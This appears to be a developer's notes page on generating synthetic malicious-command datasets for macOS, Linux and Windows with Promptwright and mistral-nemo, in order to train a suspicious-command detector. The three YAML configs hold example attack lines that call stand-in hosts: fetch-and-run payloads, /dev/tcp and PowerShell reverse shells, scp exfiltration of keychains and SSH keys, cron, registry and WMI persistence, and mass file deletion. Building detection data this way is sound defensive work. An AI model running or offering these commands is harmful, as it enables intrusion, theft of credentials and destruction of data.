Malicious command datasets

[poppysec]

Aim:

• Experiment with Promptwright to determine suitable prompts and parameters for generation
• Generate test datasets (500 <=n<=1000) for each major OS ecosystem (Windows, macOS, Linux)
• Ensure the data is appropriate and seems reasonable
• Scale up datasets

[poppysec]

Required command data

Focus on suspicious patterns which utilise native tools and commands for the chosen operating system. I.e. living off the land techniques. Attacks tend to be generic if not hands-on-keyboard by a human, as naturally the attacker will have no prior knowledge of the internals of the target machine.

Additionally, any malicious command would likely have the objectives of either:

• Secondary payload execution, either in-memory or on disk (if so, payload needs to be fetched from a remote server)
• Establishing command and control, either via an agent or beacon or something simple like a reverse shell
• Establishing persistence on the machine e.g. Startup items, Registry keys, plists, cronjobs
• Searching for sensitive data such as browser database files or cryptocurrency wallets and exfiltrating them
• Destructive activity, e.g. deleting or encrypting critical files and folders to cause interruption

This is non-exhaustive but should cover the main areas.

Along with the command itself, we will include a description of it which could later be used to augment the warning output for any suspicious pattern detected.

Prompt engineering

I've had to play around with the prompts quite a bit to avoid the classic LLM-isms in the command description such as "Show how to...", "Describe...", and so on. This seems to require beating the LLM over and over with very strict instructions, and even with this it still manages to defy clear guidance sometimes.

E.g.

{"role": "user", 
"content": "Describe how an attacker could exploit bash history truncation by modifying the HISTSIZE environment variable."},
{"role": "assistant", 
"content": "Echo 'export HISTSIZE=0' >> ~/.bashrc"}

The following Promptwright YAML example has yielded some success:

# Example YAML configuration for basic prompt generation
system_prompt: |
  You are a cybersecurity detection engineer specializing in analyzing and identifying malicious commands executed on macOS systems. Your task is to generate fact-based examples of malicious shell commands using declarative statements and executable snippets. 
  Always provide factual descriptions and relevant code snippets without any explanations, questions, or framing.
topic_tree:
  args:
    root_prompt: "Malicious Shell commands in macOS systems"
    model_system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    tree_degree: 6  # Different programming concepts
    tree_depth: 4  # Various difficulty levels
    temperature: 0.6  # Higher temperature for creative problem scenarios
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
  save_as: "macos-exploits-tree-large.jsonl"

data_engine:
  args:
    instructions: |
      Generate examples of malicious commands, suspicious patterns, and exploit scenarios that can be executed directly on a macOS command line or shell using Bash, sh, or zsh.
      1. **Scope of Scenarios**:
      - Focus on shell-based malicious patterns, avoiding web-based attacks such as XSS.
      - Emphasize attacks leveraging **native macOS tools and commands**.
      - Assume a “blackbox” macOS target system with no prior knowledge of configurations.

      2. **Prohibited Content**:
      - Do not demonstrate or provide examples phrased as requests, questions, or imperatives.
      - Avoid any framing, explanations, or context surrounding code snippets.
      - **DO NOT** use phrases like "Demonstrate," "Explain how to," "Show an example of," or "Create a malicious job."

      3. ** Possible Command Objectives **:
      - Executing a malicious payload: Either directly in memory or from disk.
      - Downloading files: From suspicious or unauthorized URLs.
      - System modifications: Making unusual or harmful changes such as modifying ~/.bash_profile, ~/.zshrc, or altering launchd configurations.
      - Destructive operations: Such as deleting sensitive directories, application binaries, or essential macOS files.
      - Data exfiltration: Locating and exfiltrating sensitive files (e.g., keychains, SSH keys, browser credentials, or macOS security tokens) to a remote server.
      - Persistence mechanisms: Establishing backdoors, reverse shells, or creating malicious launchd jobs for ongoing control.

      4. ** For Each Scenario **:
      1. Provide a concise, factual description of the problem or exploit. Always use declarative statements, avoiding questions, requests, or demonstrations. Examples:
      - **DO NOT**: “Demonstrate how to modify a user's .zshrc to execute malicious code.”
      - INSTEAD: “Modifying a user's .zshrc file to persistently execute malicious code.”
      2. Provide only factual examples in declarative form.

      5. **Output Requirements**:
      1. Use only declarative statements to describe the exploit (e.g., “Persistence via malicious plist”).
      2. Provide a relevant code snippet formatted clearly, without explanation or framing.
      3. Descriptions and snippets must stand alone, not imply a user query or demonstration.
      4. Output only a description and code snippet, as specified.
      5. Avoid using any phrases or terms that suggest action or steps for the user to take.
      6. Do not blend queries or prompts into the output.

      Example Command Snippets:
      - curl -o payload.sh http://malicious-url.com/payload.sh && chmod +x payload.sh && ./payload.sh
      - bash -c "$(curl -fsSL http://malicious-url.com/script.sh)"
      - echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> ~/.zshrc
      - find ~/Library -name '*.keychain' -exec scp {} attacker@malicious-server.com:/stolen_data/ \;
      - rm -rf ~/Documents/ImportantFiles/*
      - launchctl load ~/Library/LaunchAgents/com.malicious.agent.plist
      - echo "*/5 * * * * curl -fsSL http://malicious-url.com/payload.sh | bash" | crontab -

      Writing Style for User Content:
      - Always describe the scenario factually, using declarative language. Failure to comply with these rules will result in unusable output.
      - Reference specific macOS shell commands or actions that could exploit system insecurities.
      - Do not limit creativity to the provided examples—consider diverse and innovative methods to exploit macOS vulnerabilities using shell commands.

      Writing Style for Assistant Content:
      - Provide only the malicious shell code relevant to the described scenario.
      - Avoid providing explanations, framing, or context—focus solely on delivering executable code snippets.
    system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    temperature: 0.4  # Higher temperature for creative problem scenarios
    max_retries: 2  # Retry failed prompts up to 2 times

dataset:
  creation:
    num_steps: 42
    batch_size: 25
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    sys_msg: true  # Include system message in dataset (default: true)
  save_as: "macos-exploits.jsonl"

[poppysec]

Still experimenting with the instructions - it seems difficult to avoid the Describe/Show how framing. I'll try some models other than mistral-nemo also.

Linux

# Example YAML configuration for basic prompt generation
system_prompt: |
  You are a cybersecurity detection engineer with expert-level knowledge of malicious commands, tactics, techniques, and procedures (TTPs) used by threat actors across all skill levels. You specialize in identifying, analyzing, and mitigating malicious behaviors executed via shell commands, PowerShell scripts, and other command-line interfaces. Your expertise extends to crafting precise, executable examples of these techniques for educational and detection purposes. 
  Always provide factual, actionable, and concise responses that align with real-world attack scenarios.
topic_tree:
  args:
    root_prompt: "Malicious Shell commands in Linux systems"
    model_system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    tree_degree: 6  # Different programming concepts
    tree_depth: 4  # Various difficulty levels
    temperature: 0.6  # Higher temperature for creative problem scenarios
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
  save_as: "linux-exploits-tree-large.jsonl"

data_engine:
  args:
    instructions: |
      Generate examples of malicious commands, suspicious patterns, and exploit scenarios that can be executed directly on a Linux command line or shell using Bash or sh.

      1. **Scope of Scenarios**:
        - Focus on shell-based malicious patterns, avoiding web-based attacks such as XSS.
        - Emphasize attacks leveraging **native Linux tools and commands**.
        - Assume a “blackbox” Linux target system with no prior knowledge of configurations.

      2. **Prohibited Content**:
        - Do not demonstrate or provide examples phrased as requests, questions, or imperatives.
        - Avoid any phrasing implying action or steps (e.g., "Using `truncate` to manipulate bash_history").
        - Always frame as a static declarative description of the activity, without mentioning techniques explicitly.
        - Avoid any framing, explanations, or context surrounding code snippets.
        - **DO NOT** use phrases like "Demonstrate," "Explain how to," "Show an example of," or "Create a malicious job."

      3. **Possible Command Objectives**:
        - Executing a malicious payload: Either directly in memory or from disk.
        - Downloading files: From suspicious or unauthorized URLs.
        - System modifications: Making unusual or harmful changes, such as modifying ~/.bashrc or cron jobs.
        - Destructive operations: Such as deleting sensitive directories, application binaries, or essential Linux files.
        - Data exfiltration: Locating and exfiltrating sensitive files (e.g., SSH keys, database credentials, or sensitive logs) to a remote server.
        - Persistence mechanisms: Establishing backdoors, reverse shells, or creating malicious cron jobs for ongoing control.

      4. **For Each Scenario**:
        1. Provide a concise, factual description of the problem or exploit. Always use declarative statements, avoiding questions, requests, or demonstrations. Examples:
            - **DO NOT**: "Demonstrate how to modify a user's .bashrc to execute malicious code."
            - INSTEAD: "Modifying a user's .bashrc file to persistently execute malicious code."
        2. Provide only factual examples in declarative form.

      5. **Output Requirements**:
        1. Use only declarative statements to describe the exploit (e.g., “Persistence via malicious cron job”).
        2. Provide a relevant code snippet formatted clearly, without explanation or framing.
        3. Descriptions and snippets must stand alone, not imply a user query or demonstration.
        4. Output only a description and code snippet, as specified.
        5. Avoid using any phrases or terms that suggest action or steps for the user to take.
        6. Do not blend queries or prompts into the output.

      ### Example Command Snippets:
      - `wget -O /tmp/payload.sh http://malicious-url.com/payload.sh && chmod +x /tmp/payload.sh && /tmp/payload.sh`
      - `bash -c "$(curl -fsSL http://malicious-url.com/script.sh)"`
      - `echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> ~/.bashrc`
      - `find /home -name 'id_rsa' -exec scp {} attacker@malicious-server.com:/stolen_data/ \;`
      - `rm -rf /var/log/*`
      - `echo '*/5 * * * * curl -fsSL http://malicious-url.com/payload.sh | bash' | crontab -`
      - `nc -lvp 4444 -e /bin/bash`

      ### Writing Style for Assistant Content:
      - Provide only the malicious shell code relevant to the described scenario.
      - Avoid providing explanations, framing, or context—focus solely on delivering executable code snippets.
    system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    temperature: 0.4  # Higher temperature for creative problem scenarios
    max_retries: 2  # Retry failed prompts up to 2 times

dataset:
  creation:
    num_steps: 20
    batch_size: 20
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    sys_msg: true  # Include system message in dataset (default: true)
  save_as: "linux-exploits.jsonl"

Windows

# Example YAML configuration for basic prompt generation
system_prompt: |
  You are a cybersecurity detection engineer specializing in analyzing and identifying malicious commands executed on Windows systems. Your task is to generate fact-based examples of malicious shell commands using declarative statements and executable snippets. 
  Always provide factual descriptions and relevant code snippets without any explanations, questions, or framing.
topic_tree:
  args:
    root_prompt: "Malicious shell commands in Windows systems"
    model_system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    tree_degree: 6  # Different programming concepts
    tree_depth: 4  # Various difficulty levels
    temperature: 0.5  # Higher temperature for creative problem scenarios
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
  save_as: "win-exploits-tree-large.jsonl"

data_engine:
  args:
    instructions: |
      Generate examples of malicious commands, suspicious patterns, and exploit scenarios that can be executed directly on a Windows command line or shell using CMD, PowerShell, or VBS.

      1. **Scope of Scenarios**:
        - Focus on shell-based malicious patterns, avoiding web-based attacks such as XSS.
        - Emphasize attacks leveraging **native Windows tools and commands**.
        - Assume a “blackbox” Windows target system with no prior knowledge of configurations.

      2. **Prohibited Content**:
        - Do not demonstrate or provide examples phrased as requests, questions, or imperatives.
        - Avoid any phrasing implying action or steps (e.g., "Using `truncate` to manipulate bash_history").
        - Always frame as a static declarative description of the activity, without mentioning techniques explicitly.
        - Avoid any framing, explanations, or context surrounding code snippets.
        - **DO NOT** use phrases like "Demonstrate," "Explain how to," "Show an example of," or "Create a malicious job."

      3. **Possible Command Objectives**:
        - Executing a malicious payload: Either directly in memory or from disk.
        - Downloading files: From suspicious or unauthorized URLs.
        - System modifications: Making unusual or harmful changes such as altering the Windows Registry, scheduled tasks, or startup configurations.
        - Destructive operations: Such as deleting sensitive directories, application binaries, or essential Windows files.
        - Data exfiltration: Locating and exfiltrating sensitive files (e.g., saved credentials, documents, or database backups) to a remote server.
        - Persistence mechanisms: Establishing backdoors, reverse shells, or creating malicious scheduled tasks for ongoing control.

      4. **For Each Scenario**:
        1. Provide a concise, factual description of the problem or exploit. Always use declarative statements, avoiding questions, requests, or demonstrations. Examples:
            - **DO NOT**: “Demonstrate how to create a malicious scheduled task.”
            - INSTEAD: “Creating a malicious scheduled task to persistently execute code.”
        2. Provide only factual examples in declarative form.

      5. **Output Requirements**:
        1. Use only declarative statements to describe the exploit (e.g., “Persistence via malicious scheduled task”).
        2. Provide a relevant code snippet formatted clearly, without explanation or framing.
        3. Descriptions and snippets must stand alone, not imply a user query or demonstration.
        4. Output only a description and code snippet, as specified.
        5. Avoid using any phrases or terms that suggest action or steps for the user to take.
        6. Do not blend queries or prompts into the output.

      Example Command Snippets:
      - Downloading and executing a malicious payload: powershell -Command "Invoke-WebRequest -Uri 'http://malicious-url.com/payload.exe' -OutFile 'payload.exe'; Start-Process -FilePath 'payload.exe'"
      - Modifying the Windows Registry to run a malicious executable on startup: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MaliciousApp /t REG_SZ /d "C:\malicious\app.exe" /f
      - Creating a malicious scheduled task: schtasks /create /sc minute /mo 5 /tn "Updater" /tr "C:\malicious\update.bat"
      - Exfiltrating sensitive files to a remote server: powershell -Command "Compress-Archive -Path 'C:\Users\Public\Documents\*.txt' -DestinationPath 'C:\temp\stolen.zip'; Invoke-WebRequest -Uri 'http://malicious-server.com/upload' -Method Post -InFile 'C:\temp\stolen.zip'"
      - Establishing a reverse shell: powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('attacker.com', 4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2  = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()"
      - Deleting critical system files: del /f /s /q C:\Windows\System32\*.dll
      - Persistence through WMI event subscription: powershell -Command "Set-WmiInstance -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name='MaliciousFilter'; EventNamespace='root\cimv2'; QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA \"Win32_Process\"'}"
    system_prompt: "<system_prompt_placeholder>"  # Will be replaced with system_prompt
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    temperature: 0.6  # Higher temperature for creative problem scenarios
    max_retries: 2  # Retry failed prompts up to 2 times

dataset:
  creation:
    num_steps: 42
    batch_size: 25
    provider: "ollama"  # LLM provider
    model: "mistral-nemo:latest"  # Model name
    sys_msg: true  # Include system message in dataset (default: true)
  save_as: "win-exploits.jsonl"